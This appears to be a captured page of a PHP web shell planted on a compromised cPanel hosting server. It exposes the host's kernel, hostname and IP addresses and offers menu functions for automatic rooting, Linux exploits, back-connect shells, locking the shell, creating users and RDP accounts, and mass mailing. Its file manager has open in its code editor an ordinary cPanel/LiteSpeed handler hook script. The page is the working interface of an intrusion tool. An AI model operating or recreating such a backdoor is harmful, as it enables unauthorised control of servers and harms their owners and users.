Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
lve /
modlscapi /
hooks /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
__pycache__
[ DIR ]
drwxr-xr-x
buildlsphp.hook
839
B
-rwxr-xr-x
clearconf.hook
923
B
-rwxr-xr-x
cpanel_check_handlers_hook.sh
1.3
KB
-rwxr-xr-x
cpanel_post_upcp_check_handler...
1.34
KB
-rwxr-xr-x
cpanel_post_upcp_lsapi_hook.py
1.33
KB
-rwxr-xr-x
cpanel_pre_upcp_check_handlers...
1.34
KB
-rwxr-xr-x
cpanelpostupcp.hook
2.03
KB
-rwxr-xr-x
lsapi.hook
1.05
KB
-rwxr-xr-x
lsapi_patch_cpanel_hook.sh
1.01
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cpanel_check_handlers_hook.sh
#!/bin/bash CMD="$1" HLOG="/usr/share/lve/modlscapi/logs/last.pre.upcp.handlers" function get_current_handlers() { /usr/sbin/whmapi1 php_get_handlers | while read -r line; do echo -n "$line" | sed -n '/current_handler:/p' >> "$LOG" echo " $line" | sed -n '/version: [ea:alt]/p' >> "$LOG" done } function set_handlers_back() { cat "$HLOG" | while read -r line; do HANDLER=$(echo "$line" | cut -d ' ' -f2) PHPVERS=$(echo "$line" | cut -d ' ' -f4) echo "Setting $PHPVERS to $HANDLER handler" >> "$LOG" /usr/sbin/whmapi1 php_set_handler version="$PHPVERS" handler="$HANDLER" 2>/dev/null >/dev/null done } if [ "$CMD" == "--pre" ]; then LOG="/usr/share/lve/modlscapi/logs/Pre.upcp.$(date +%Y-%m-%d_%H:%M).log" get_current_handlers truncate -s 0 "$HLOG" cat "$LOG" >> "$HLOG" exit 0 fi if [ "$CMD" == "--post" ]; then LOG="/usr/share/lve/modlscapi/logs/Post.upcp.$(date +%Y-%m-%d_%H:%M).log" get_current_handlers if diff "$LOG" "$HLOG" >/dev/null ; then echo "Handlers matched after upcp" >> "$LOG" else echo "Error: Handlers not matched after upcp" >> "$LOG" # Uncomment on the server where the lsapi handler is automatically turned off after the upcp set_handlers_back fi exit 0 fi
Close